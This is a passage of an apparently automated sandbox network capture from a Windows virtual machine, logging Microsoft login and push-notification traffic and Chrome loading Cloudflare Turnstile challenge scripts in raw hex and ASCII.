2025-01-13 20:52:51 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-13 20:52:51 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 32 30 3a 35 32 3a 35 30 20 47 4d 54 0d 0a Data Ascii: Date: Mon, 13 Jan 2025 20:52:50 GMT
2025-01-13 20:52:51 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-13 20:52:51 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-13 20:52:51 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-13 20:52:51 UTC	150	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 67 72 6f 75 70 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 2e 6e 65 6c 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 72 65 70 6f 72 74 3f 63 61 74 49 64 3d 47 57 2b 65 73 74 73 66 64 2b 73 61 6e 22 7d 5d 7d 0d 0a Data Ascii: Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+san"}]}
2025-01-13 20:52:51 UTC	80	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 78 2d 6d 73 2d 67 61 74 65 77 61 79 2d 73 6c 69 63 65 3d 65 73 74 73 66 64 3b 20 50 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a Data Ascii: Set-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=None
2025-01-13 20:52:51 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-13 20:52:51 UTC	48	IN	Data Raw: 58 2d 4d 73 2d 45 73 74 73 2d 53 65 72 76 65 72 3a 20 32 2e 31 2e 31 39 36 38 33 2e 36 20 2d 20 45 55 53 20 50 72 6f 64 53 6c 69 63 65 73 0d 0a Data Ascii: X-Ms-Ests-Server: 2.1.19683.6 - EUS ProdSlices

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49743	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:51 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 62 5a 33 59 42 62 4c 63 44 45 6d 53 33 57 34 31 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 32 38 34 34 31 35 66 32 38 31 32 30 30 66 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: bZ3YBbLcDEmS3W41.1Context: f284415f281200ff
2025-01-13 20:52:51 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-13 20:52:51 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 62 5a 33 59 42 62 4c 63 44 45 6d 53 33 57 34 31 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 32 38 34 34 31 35 66 32 38 31 32 30 30 66 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 66 6b 68 2b 66 32 54 59 54 4d 2f 44 63 65 61 58 50 74 45 4a 36 4c 6e 4f 4f 4f 61 39 50 49 43 70 6b 72 74 54 74 64 74 41 53 70 4d 4a 72 6a 50 61 47 2b 31 38 54 38 6b 59 7a 4c 57 52 6a 64 47 4c 41 62 55 59 78 51 35 5a 6f 4c 69 43 44 65 45 51 67 63 71 36 71 4b 62 32 68 4b 70 57 73 52 31 2f 4b 57 6d 61 38 38 6d 6e 5a 45 47 70 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: bZ3YBbLcDEmS3W41.2Context: f284415f281200ff<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAefkh+f2TYTM/DceaXPtEJ6LnOOOa9PICpkrtTtdtASpMJrjPaG+18T8kYzLWRjdGLAbUYxQ5ZoLiCDeEQgcq6qKb2hKpWsR1/KWma88mnZEGp
2025-01-13 20:52:51 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 62 5a 33 59 42 62 4c 63 44 45 6d 53 33 57 34 31 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 32 38 34 34 31 35 66 32 38 31 32 30 30 66 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: bZ3YBbLcDEmS3W41.3Context: f284415f281200ff<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-13 20:52:51 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-13 20:52:51 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 54 78 78 71 77 47 4c 6f 31 55 6d 67 64 73 6d 59 64 65 55 51 32 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: TxxqwGLo1UmgdsmYdeUQ2g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49751	104.18.95.41	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:51 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:52:51 UTC	240	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:52:51 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 901845bd7dd542e0-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:52:51 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49757	104.18.95.41	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:51 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901845b24f0c41e0&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-13 20:52:51 UTC	331	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 20:52:51 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 112448 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 901845befc9c4400-EWR alt-svc: h3=":443"; ma=86400
2025-01-13 20:52:51 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fc
2025-01-13 20:52:51 UTC	1369	IN	Data Raw: 65 25 32 30 66 6f 72 25 32 30 6d 6f 72 65 25 32 30 69 6e 66 6f 72 6d 61 74 69 6f 6e 25 33 43 25 32 46 61 25 33 45 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 72 65 66 72 65 73 68 22 3a 22 52 65 66 72 65 73 68 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 63 6b 22 2c 22 68 75 6d 61 6e 5f 62 75 74 74 6f 6e 5f 74 65 78 74 22 3a 22 56 65 72 69 66 79 25 32 30 79 6f 75 25 32 30 61 72 65 25 32 30 68 75 6d 61 6e 22 2c 22 69 6e 76 61 6c 69 64 5f 64 6f 6d 61 69 6e 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 64 6f 6d 61 69 6e 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 Data Ascii: e%20for%20more%20information%3C%2Fa%3E","turnstile_refresh":"Refresh","turnstile_feedback_description":"Send%20Feedback","human_button_text":"Verify%20you%20are%20human","invalid_domain":"Invalid%20domain.%20Contact%20the%20Site%20Administrator%20if%20thi
2025-01-13 20:52:51 UTC	1369	IN	Data Raw: 2c 66 4e 2c 66 4f 2c 66 59 2c 67 39 2c 67 64 2c 67 67 2c 67 68 2c 67 48 2c 67 65 2c 67 66 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 34 39 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 67 49 28 37 38 38 29 29 2f 32 2b 70 61 72 73 65 49 6e 74 28 67 49 28 34 35 35 29 29 2f 33 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 34 37 29 29 2f 34 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 34 31 29 29 2f 35 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 39 36 29 29 2f 36 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 36 34 34 29 29 2f 37 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 35 Data Ascii: ,fN,fO,fY,g9,gd,gg,gh,gH,ge,gf){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(1549))/1+parseInt(gI(788))/2+parseInt(gI(455))/3+-parseInt(gI(1347))/4*(parseInt(gI(1541))/5)+-parseInt(gI(1196))/6+parseInt(gI(1644))/7+-parseInt(gI(5
2025-01-13 20:52:51 UTC	1369	IN	Data Raw: 29 3a 73 28 69 2b 44 2c 45 29 2c 43 2b 2b 29 3b 72 65 74 75 72 6e 20 6a 3b 66 75 6e 63 74 69 6f 6e 20 73 28 47 2c 48 2c 67 4f 29 7b 67 4f 3d 67 4e 2c 4f 62 6a 65 63 74 5b 67 4f 28 35 37 32 29 5d 5b 67 4f 28 39 31 33 29 5d 5b 67 4f 28 31 31 34 32 29 5d 28 6a 2c 48 29 7c 7c 28 6a 5b 48 5d 3d 5b 5d 29 2c 6a 5b 48 5d 5b 67 4f 28 31 30 39 30 29 5d 28 47 29 7d 7d 2c 65 54 3d 67 4a 28 34 33 33 29 5b 67 4a 28 35 33 33 29 5d 28 27 3b 27 29 2c 65 55 3d 65 54 5b 67 4a 28 37 35 39 29 5d 5b 67 4a 28 31 34 31 31 29 5d 28 65 54 29 2c 65 4d 5b 67 4a 28 36 34 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 67 51 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 66 6f 72 28 67 51 3d 67 4a 2c 69 3d 7b 27 67 79 48 6c 48 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e Data Ascii: ):s(i+D,E),C++);return j;function s(G,H,gO){gO=gN,Object[gO(572)][gO(913)][gO(1142)](j,H)\|\|(j[H]=[]),j[H][gO(1090)](G)}},eT=gJ(433)[gJ(533)](';'),eU=eT[gJ(759)][gJ(1411)](eT),eM[gJ(645)]=function(g,h,gQ,i,j,k,l,m){for(gQ=gJ,i={'gyHlH':function(n,o){return
2025-01-13 20:52:51 UTC	1369	IN	Data Raw: 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 42 41 72 57 78 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 2a 68 7d 2c 27 4b 5a 45 45 74 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 68 7d 2c 27 64 47 76 50 56 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 43 45 78 59 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 45 74 65 70 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 64 79 64 78 75 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 78 62 45 55 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 Data Ascii: i){return h&i},'BArWx':function(h,i){return ih},'KZEEt':function(h,i){return i!=h},'dGvPV':function(h,i){return h(i)},'CExYO':function(h,i){return h(i)},'Etepl':function(h,i){return h<i},'dydxu':function(h,i){return h(i)},'xbEUN':function(h,i){return hi
2025-01-13 20:52:51 UTC	1369	IN	Data Raw: 2b 2b 29 3b 66 6f 72 28 4f 3d 43 5b 67 55 28 31 35 33 35 29 5d 28 30 29 2c 73 3d 30 3b 38 3e 73 3b 48 3d 4f 26 31 2e 37 39 7c 48 3c 3c 31 2c 49 3d 3d 64 5b 67 55 28 31 30 31 39 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 67 55 28 31 30 39 30 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 4f 3d 31 2c 73 3d 30 3b 64 5b 67 55 28 37 38 39 29 5d 28 73 2c 46 29 3b 48 3d 4f 7c 48 3c 3c 31 2c 49 3d 3d 64 5b 67 55 28 31 35 33 39 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 67 55 28 31 30 39 30 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3d 30 2c 73 2b 2b 29 3b 66 6f 72 28 4f 3d 43 5b 67 55 28 31 35 33 35 29 5d 28 30 29 2c 73 3d 30 3b 31 36 3e 73 3b 48 3d 64 5b 67 55 28 33 37 33 29 Data Ascii: ++);for(O=C[gU(1535)](0),s=0;8>s;H=O&1.79\|H<<1,I==d[gU(1019)](j,1)?(I=0,G[gU(1090)](o(H)),H=0):I++,O>>=1,s++);}else{for(O=1,s=0;d[gU(789)](s,F);H=O\|H<<1,I==d[gU(1539)](j,1)?(I=0,G[gU(1090)](o(H)),H=0):I++,O=0,s++);for(O=C[gU(1535)](0),s=0;16>s;H=d[gU(373)
2025-01-13 20:52:51 UTC	1369	IN	Data Raw: 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4f 3e 3e 3d 31 2c 73 2b 2b 29 3b 66 6f 72 28 3b 3b 29 69 66 28 48 3c 3c 3d 31 2c 64 5b 67 55 28 31 33 32 38 29 5d 28 49 2c 6a 2d 31 29 29 7b 47 5b 67 55 28 31 30 39 30 29 5d 28 6f 28 48 29 29 3b 62 72 65 61 6b 7d 65 6c 73 65 20 49 2b 2b 3b 72 65 74 75 72 6e 20 47 5b 67 55 28 31 36 30 36 29 5d 28 27 27 29 7d 7d 2c 27 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 67 56 29 7b 72 65 74 75 72 6e 20 67 56 3d 67 52 2c 68 3d 3d 6e 75 6c 6c 3f 27 27 3a 64 5b 67 56 28 39 32 35 29 5d 28 27 27 2c 68 29 3f 6e 75 6c 6c 3a 66 2e 69 28 68 5b 67 56 28 31 36 35 33 29 5d 2c 33 32 37 36 38 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 67 57 29 7b 72 65 74 75 72 6e 20 67 57 3d 67 56 2c 68 5b 67 57 28 31 35 33 35 29 5d 28 69 29 7d 29 7d 2c 27 Data Ascii: (o(H)),H=0):I++,O>>=1,s++);for(;;)if(H<<=1,d[gU(1328)](I,j-1)){G[gU(1090)](o(H));break}else I++;return G[gU(1606)]('')}},'j':function(h,gV){return gV=gR,h==null?'':d[gV(925)]('',h)?null:f.i(h[gV(1653)],32768,function(i,gW){return gW=gV,h[gW(1535)](i)})},'
2025-01-13 20:52:51 UTC	1369	IN	Data Raw: 48 29 2c 48 3e 3e 3d 31 2c 48 3d 3d 30 26 26 28 48 3d 6a 2c 47 3d 64 5b 67 58 28 31 30 39 33 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 67 58 28 34 38 33 29 5d 28 30 3c 4e 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 73 5b 42 2b 2b 5d 3d 65 28 4a 29 2c 4f 3d 64 5b 67 58 28 31 35 33 39 29 5d 28 42 2c 31 29 2c 78 2d 2d 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 20 44 5b 67 58 28 31 36 30 36 29 5d 28 27 27 29 7d 69 66 28 30 3d 3d 78 26 26 28 78 3d 4d 61 74 68 5b 67 58 28 31 30 39 38 29 5d 28 32 2c 43 29 2c 43 2b 2b 29 2c 73 5b 4f 5d 29 4f 3d 73 5b 4f 5d 3b 65 6c 73 65 20 69 66 28 4f 3d 3d 3d 42 29 4f 3d 64 5b 67 58 28 31 34 36 39 29 5d 28 45 2c 45 5b 67 58 28 31 32 38 32 29 5d 28 30 29 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 6e 75 6c Data Ascii: H),H>>=1,H==0&&(H=j,G=d[gX(1093)](o,I++)),J\|=d[gX(483)](0<N?1:0,F),F<<=1);s[B++]=e(J),O=d[gX(1539)](B,1),x--;break;case 2:return D[gX(1606)]('')}if(0==x&&(x=Math[gX(1098)](2,C),C++),s[O])O=s[O];else if(O===B)O=d[gX(1469)](E,E[gX(1282)](0));else return nul
2025-01-13 20:52:51 UTC	1369	IN	Data Raw: 46 29 7b 6b 3d 28 68 42 3d 67 4a 2c 6a 3d 7b 7d 2c 6a 5b 68 42 28 36 36 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 7d 2c 6a 5b 68 42 28 31 34 37 33 29 5d 3d 68 42 28 31 32 36 38 29 2c 6a 5b 68 42 28 31 30 37 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 6a 5b 68 42 28 34 35 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 6a 5b 68 42 28 31 32 31 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 6a 5b 68 42 28 31 32 34 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 6a 5b 68 42 28 39 35 38 29 5d 3d 66 75 6e 63 74 69 6f Data Ascii: F){k=(hB=gJ,j={},j[hB(662)]=function(G,H){return G instanceof H},j[hB(1473)]=hB(1268),j[hB(1073)]=function(G,H){return G+H},j[hB(452)]=function(G,H){return G+H},j[hB(1219)]=function(G,H){return G+H},j[hB(1240)]=function(G,H){return G+H},j[hB(958)]=functio
2025-01-13 20:52:51 UTC	1369	IN	Data Raw: 29 7d 2c 27 50 42 63 4f 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 3d 3d 3d 6f 7d 2c 27 49 6f 43 59 59 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6f 3d 3d 3d 6e 7d 2c 27 4b 72 63 4b 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 3e 6f 7d 7d 2c 64 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 29 3f 65 5b 68 43 28 31 33 34 30 29 5d 28 68 43 28 31 37 32 32 29 2c 68 43 28 31 31 34 36 29 29 3f 65 5b 68 43 28 34 32 36 29 5d 28 64 29 5b 68 43 28 31 35 38 35 29 5d 5b 68 43 28 37 31 35 29 5d 3d 68 43 28 31 35 37 31 29 3a 28 66 3d 64 5b 68 43 28 34 32 35 29 5d 2c 64 5b 68 43 28 37 36 31 29 5d 26 26 65 5b 68 43 28 38 35 33 29 5d 28 74 79 70 65 6f 66 20 64 5b 68 43 28 37 36 31 Data Ascii: )},'PBcOO':function(n,o){return n===o},'IoCYY':function(n,o){return o===n},'KrcKL':function(n,o){return n>o}},d instanceof Error)?e[hC(1340)](hC(1722),hC(1146))?e[hC(426)](d)[hC(1585)][hC(715)]=hC(1571):(f=d[hC(425)],d[hC(761)]&&e[hC(853)](typeof d[hC(761

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49758	104.18.95.41	443	4340	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 20:52:51 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1945116169:1736799371:oqWYrklheVvIxV4s1RanDCpHrsoCSPH0m2JWX3kpTuc/901845b24f0c41e0/Of3CPy62WbuABclT3jxmzybeUyjxGUg5boEL32X7soQ-1736801569-1.1.1.1-TDmdVZYLV4LqtnF4bTXyIP.U6R14yzywkyGQLLHcvQFOKkGEivFpN5pHtNnDJe8g HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3268 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: Of3CPy62WbuABclT3jxmzybeUyjxGUg5boEL32X7soQ-1736801569-1.1.1.1-TDmdVZYLV4LqtnF4bTXyIP.U6R14yzywkyGQLLHcvQFOKkGEivFpN5pHtNnDJe8g sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/iknh7/0x4AAAAAAA4sf2kw7YnXl1bZ/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
